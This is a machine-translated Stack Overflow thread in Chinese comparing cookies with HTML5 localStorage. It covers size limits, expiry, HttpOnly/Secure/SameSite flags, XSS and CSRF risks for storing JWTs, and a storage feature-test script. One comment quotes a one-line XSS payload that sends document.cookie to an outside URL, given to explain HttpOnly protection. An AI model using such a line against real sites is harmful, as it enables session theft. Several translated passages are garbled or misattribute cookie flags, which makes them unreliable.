#1 楼
Cookies和本地存储有不同的用途。 Cookies主要用于读取服务器端,本地存储只能由客户端读取。所以问题是,在您的应用程序中,谁需要此数据(客户端还是服务器)?如果是您的客户端(您的JavaScript),则一定要切换。您通过在每个HTTP标头中发送所有数据来浪费带宽。
如果是服务器,本地存储就没那么有用了,因为您必须以某种方式(使用Ajax或隐藏的表单字段或其他内容)。如果服务器仅需要每个请求的全部数据的一小部分,这可能是可以的。 />:根据技术上的差异以及我的理解:
除了作为保存数据的旧方法之外,Cookie还可以限制4096字节(实际上为4095个字节)—每个Cookie。每个域的本地存储最大为5MB,因此Question也会提到它。
localStorage
是Storage
接口的实现。它存储没有到期日期的数据,并且仅通过JavaScript或清除浏览器缓存/本地存储的数据来清除-与cookie到期不同。评论
HTML5具有会话作用域存储,也可以替代会话cookie。
–尼特耶(Pat Niemeyer)
2012年6月3日在3:40
@PatNiemeyer,您可以将sessionStorage假定为Cookie,该cookie在浏览器关闭之前一直有效(不是该选项卡)。 @darkporter,感谢您的回答。但是,想听听Cookies和本地存储之间的技术差异。等待您的编辑。
– Om Shankar
2012年7月17日在6:34
@OmShankar我不确定您是否仍然有这个疑问,但这是不同的:localStorage保留在客户端上,而cookie是通过HTTP标头发送的。这是它们之间最大的(但不是唯一的)区别。
–安德烈·卡里尔(Andre Calil)
2012年11月1日下午16:33
如果您的客户端应用程序与REST API通讯,则使用cookie来存储和传输会话ID在REST中不是惯用的。因此,对我来说,cookie看起来像一种旧技术,应该用本地存储代替(如果需要将某些数据(例如会话ID)传递给服务器,则可以使用JavaScript +)。
– Tvaroh
13年4月4日在19:38
本地存储不一定比cookie更安全,因为它容易受到XSS攻击。就个人而言,我会选择一个经过精心计划的过期方案的加密HTTPS cookie(也许使用JWT或JWE)。即同时实施Cookie级别的过期“政策”和服务器端Cookie的“续订”过程,以减少恶意第三方使用Cookie的机会。我在下面引用了Stormpath的一篇文章来回答这个问题。
– XtraSimplicity
16-4-3在3:54
#2 楼
在JWT的上下文中,Stormpath写了一篇相当有帮助的文章,概述了存储它们的可能方法以及每种方法的(缺点)优点。它还简要介绍了XSS和CSRF。攻击,以及如何加以打击。
我在下面附上了一些简短的摘录,以防它们的文章被下线/其站点出现故障。
本地存储
问题:
Web存储(localStorage / sessionStorage)可通过同一域上的JavaScript进行访问。这意味着您站点上运行的所有JavaScript都可以访问Web存储,因此,它很容易受到跨站点脚本(XSS)攻击的攻击。简而言之,XSS是攻击者可以注入将在您的页面上运行的JavaScript的一种漏洞。基本的XSS攻击尝试通过表单输入注入JavaScript,攻击者在其中输入警报(“您被黑”);转换为一个表单,以查看它是否由浏览器运行并且可以被其他用户查看。
预防措施:常见的响应是转义和编码所有不受信任的数据。但这还远未达到完整的水平。 2015年,现代网络应用使用托管在CDN或外部基础架构上的JavaScript。现代网络应用程序包括用于A / B测试,渠道/市场分析和广告的第三方JavaScript库。我们使用Bower之类的程序包管理器将其他人的代码导入我们的应用程序。
如果仅破坏了您使用的一个脚本怎么办?恶意
JavaScript可以嵌入到页面中,并且Web存储受到损害。这些类型的XSS攻击可以使所有人的Web存储
在他们不知情的情况下访问您的网站。这可能就是为什么一堆组织建议不要在网络存储中存储任何有价值或信任的信息的原因。这包括会话标识符和
令牌。
作为一种存储机制,Web存储在传输过程中不会强制执行任何安全标准。读取并使用Web存储的人必须
进行尽职调查,以确保他们始终通过HTTPS发送JWT,而从不通过HTTP发送JWT。
问题:
Cookies与HttpOnly cookie标志一起使用时,不能通过JavaScript访问,并且不受XSS的影响。您还可以设置安全cookie标志,以确保仅通过HTTPS发送cookie。这是过去曾经利用cookie存储令牌或会话数据的主要原因之一。现代开发人员不愿使用Cookie,因为传统上他们要求将状态存储在服务器上,从而破坏了RESTful最佳实践。如果您将JWT存储在cookie中,则cookie作为一种存储机制不需要在服务器上存储状态。这是因为JWT封装了服务器处理请求所需的所有内容。
但是,cookie容易受到另一种攻击类型的攻击:跨站点请求伪造(CSRF)。 CSRF攻击是一种攻击类型,当恶意网站,电子邮件或博客导致用户的Web浏览器对用户信任的网站执行有害操作时,就会发生这种攻击。当前已认证。这是利用
浏览器处理cookie的方式。 Cookie只能发送到允许的
域中。默认情况下,这是最初
设置cookie的域。无论您是在galaxies.com还是hahagonnahackyou.com上,都将发送Cookie以发出请求,这是
预防措施:
/>除了
SameSite
和HttpOnly
之外,现代浏览器还支持Secure
标志。此标志的目的是防止cookie在跨站点请求中传输,从而防止多种CSRF攻击。对于不支持
SameSite
的浏览器,可以通过使用同步令牌模式来防止CSRF。这听起来很复杂,但是所有现代Web框架都支持
this。您的域。直接来自AngularJS文档:
执行XHR请求时,$ http服务从
cookie(默认情况下为XSRF-TOKEN)读取令牌并将其设置为HTTP标头
(X-XSRF-TOKEN)。由于只有在您的域上运行的JavaScript可以读取cookie,因此可以确保您的服务器XHR来自在您的域上运行的JavaScript。您可以通过添加
xsrfToken
JWT声明来使CSRF保护成为无状态的:用于存储JWT。通过从API检查HTTP Referer和Origin标头也可以部分阻止CSRF。 CSRF
攻击将具有与应用程序无关的Referer和Origin头。
全文可在此处找到:
https:/ /stormpath.com/blog/where-to-store-your-jwts-cookies-vs-html5-web-storage/
他们还提供了有关如何最佳设计和实现JWT的有用文章,关于令牌本身的结构:
https://stormpath.com/blog/jwt-the-right-way/
评论
优点。在这么好读的问题上,以前没有提到本地存储的安全隐患(或者XSS缺乏安全隐患)感到惊讶-除了一个答案错误地恕我直言,它表明它更安全!
–巴里·波拉德(Barry Pollard)
16年4月2日在20:32
老实说,我发现整个安全讨论都有些分心。是的,页面上的其他脚本可以访问localStorage…但是XMLHttpRequest也是…是HttpOnly标志可以防止窃取cookie,但浏览器仍会自动将其发送到匹配的域,因此...基本上您网页上运行的恶意脚本已经被黑。
– Stijn de Witt
17年1月20日在20:17
@StijndeWitt每个保护层都有自己的力量和弱点。因此,通常最好具有多个保护层。仅举一个例子:HttpOnly还可以防止非ajax攻击,例如window.location ='http://google.com?q='+ escape(document.cookie);。该攻击绕过了浏览器的CORS检查。
– Memet Olsen
17年12月20日在16:19
假设您在诸如广告之类的事情上没有完全受信任的提供商...为什么您的广告甚至与您自己的受信任内容在同一域中投放?广告只需要在网页内显示,通常不需要在网页内运行JS。不需要太多的第三方内容集成。
–好奇
18-10-24在17:43
为什么cookie中的csrf令牌(按定义必须为非http-,以便可以通过JavaScript读取并通过标头发送)对安全性有任何帮助?如果我的站点容易受到xss的攻击,则可以像本地/会话存储一样轻松地读取cookie。
–琼加姆尼克
19年6月11日在18:13
#3 楼
使用localStorage
,Web应用程序可以在用户的浏览器中本地存储数据。在HTML5之前,应用程序数据必须存储在cookie中,并包含在每个服务器请求中。大量数据可以存储在本地,而不会影响网站性能。尽管localStorage
更现代,但两种技术都有其优缺点。永远存在)永久数据
到期日期
缺点
每个域都将其所有cookie存储在单个字符串中,这样可以使
解析数据变得困难
数据未加密,这成为一个问题,因为... ...尽管
尺寸很小,但每个HTTP请求发送的Cookie都受到限制。 4KB)
可以从cookie中执行SQL注入
本地存储
专业人士
大多数现代浏览器都支持
直接存储在浏览器中的持久数据
同源规则适用于本地存储数据
不是随每个HTTP请求一起发送
每个域〜5MB存储(即5120KB)
缺点
以前不受任何支持:IE 8,Firefox 3.5,Safari 4,Chrome 4,Opera 10.5,iOS 2.0,Android 2.0 >如果服务器需要您蓄意发送的已存储客户端信息。
localStorage
的用法与会话一的用法几乎相同。他们有很多精确的方法,因此从会话切换到localStorage
确实是小孩子的游戏。但是,如果存储的数据对于您的应用程序确实至关重要,则可能会使用cookie作为备份,以防localStorage
不可用。如果要检查浏览器对localStorage
的支持,只需执行以下简单脚本即可:/*
* function body that test if storage is available
* returns true if localStorage is available and false if it's not
*/
function lsTest(){
var test = 'test';
try {
localStorage.setItem(test, test);
localStorage.removeItem(test);
return true;
} catch(e) {
return false;
}
}
/*
* execute Test and run our custom script
*/
if(lsTest()) {
// window.sessionStorage.setItem(name, 1); // session and storage methods are very similar
window.localStorage.setItem(name, 1);
console.log('localStorage where used'); // log
} else {
document.cookie="name=1; expires=Mon, 28 Mar 2016 12:00:00 UTC";
console.log('Cookie where used'); // log
}
“ Secure(SSL)上的本地存储值页是孤立的”
有人注意到请记住,localStorage不会被
如果您将安全协议从“ http”切换为“ https”,则在
cookie仍可访问的地方可用。如果您使用安全协议,请务必注意
。
评论
您正在执行的检查不是很可靠。有些浏览器和模式(专用)具有存储对象,但无法在其上手动设置值。检查实际支持的唯一方法是尝试将其移除。
– JavaScript
16-4-27的13:44
要点,我已经更新了有关乔答案的答案,地址为:stackoverflow.com/questions/16427636/…
–DevWL
16年7月28日在10:06
由于“ SQL注入可以执行”被列为Cookie的对立面,因此您是说不能从localStorage进行?
–马丁·施耐德(Martin Schneider)
17年1月12日在11:09
Cookies的另一个优点。 Cookies可以标记为HTTPOnly。这意味着它们无法从JavaScript进行访问,这又意味着没有恶意的XSS攻击可以检索cookie内容。因此,我不一定要说本地存储比cookie更安全。
– wp-overwatch.com
18年8月3日在21:48
@ Mr.Me虽然XSS攻击无法读取HTTPOnly cookie,但攻击者仍可以执行用户只能(受定义)由浏览器会话限制的任何HTTP请求。假设会话cookie是一个不透明的标识符,就像几乎所有会话cookie一样,读取cookie值仅对执行包括它的HTTP请求有用:您不会仅凭cookie值学习任何东西。 (请注意,会话cookie有时可以链接到特定的源IP地址,用户代理标头或其他浏览器特征; XSS攻击执行来自浏览器的HTTP请求,因此它们匹配。)
–好奇
18-10-24在17:16
#4 楼
Cookies:在HTML5之前引入。
具有到期日期。
通过JS或浏览器的清除浏览数据或到期日期之后的清除。
每个请求将发送到服务器。
容量为4KB。 br />只有字符串可以存储在cookie中。
cookie有两种类型:持久性和会话。
本地存储: HTML5引入。
没有到期日期。
通过JS或浏览器的清除浏览数据进行清理。
您可以选择何时必须将数据发送到服务器。
容量为5MB。
数据可以无限期存储,并且必须是字符串。
只有一种类型。
评论
6. localStorage只能存储字符串,在存储之前必须将原语和对象转换为字符串。7. sessionStorage也可用,并且与localStorage相同,只是它不持久
–罗比·米利扎克(Robbie Milejczak)
2月17日下午14:52
您只能将字符串存储在存储中
–TheMisir
3月15日9:47
#5 楼
好吧,本地存储速度很大程度上取决于客户端使用的浏览器以及操作系统。 Mac上的Chrome或Safari可能比PC上的Firefox快得多,尤其是使用较新的API时。与往常一样,测试是您的朋友(我找不到任何基准)。我真的看不到Cookie与本地存储的巨大差异。另外,您应该更加担心兼容性问题:并不是所有的浏览器都已经开始支持新的HTML5 API,因此cookie是提高速度和兼容性的最佳选择。
评论
这只是一个内部项目,因此跨浏览器兼容之类的东西并不是真正必要的。因为cookie是与每个HTTPRequest一起发送的(我的应用程序有〜77个请求),这意味着〜500KB的额外开销。我知道显而易见的解决方案是CDN,但我想尝试一些与服务器无关的方法。我自己找不到任何基准,这就是为什么我希望这里的人可能知道。
– Gio Borje
2010年7月10日在20:34
为什么Mac上的Chrome或Safari会更快?无论您是在Mac,Linux还是Windows上,运行的浏览器代码都几乎相同。
– Mark K Cowan
14-10-20在10:07
#6 楼
还值得一提的是,当用户在某些版本的移动Safari中以“私有”模式浏览时,无法使用localStorage
。引自MDN(https://developer.mozilla.org/zh-CN / docs / Web / API / Window / localStorage):
注意:从iOS 5.1开始,Safari Mobile将localStorage数据存储在缓存文件夹中,偶尔会按照操作系统的要求进行清理,通常是在空间不足的情况下。 Safari Mobile的Private
浏览模式还阻止完全写入localStorage。
#7 楼
本地存储最多可存储5mb的脱机数据,而会话也最多可存储5mb的数据。但是cookie只能以文本格式存储4kb数据。LOCAl和Session以JSON格式存储数据,因此易于解析。但是Cookies数据是字符串格式。
评论
可能的缺点:安全(SSL)页面上的localStorge值是隔离的。因此,如果您的站点同时具有http和https页面,则在访问https页面时将无法访问在http页面上设置的值。刚刚在Magento商店中尝试了ajax微型购物车的localStorage。史诗般的失败...出人意料地得到了很好的支持(与我的预期相比)caniuse.com/#search=localstorage
有些用户通常在其浏览器中禁用cookie。本地存储可能会更好地适合那些用户。
“可能的缺点:安全(SSL)页面上的[localStorage]值是隔离的”实际上这是很大的优点。
这就是为什么您应该只在网站上强制使用SSL ...如果您已经具有可用的SSL版本,我认为没有理由同时提供页面的两个版本。